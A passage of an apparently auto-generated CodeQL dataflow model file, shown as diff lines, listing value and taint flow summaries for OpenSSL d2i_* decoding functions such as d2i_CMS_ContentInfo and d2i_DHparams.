["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CERTIFICATEPOLICIES", "(CERTIFICATEPOLICIES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ContentInfo", "(CMS_ContentInfo **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_ReceiptRequest", "(CMS_ReceiptRequest **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CMS_bio", "(BIO *,CMS_ContentInfo **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_CRL_DIST_POINTS", "(CRL_DIST_POINTS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", 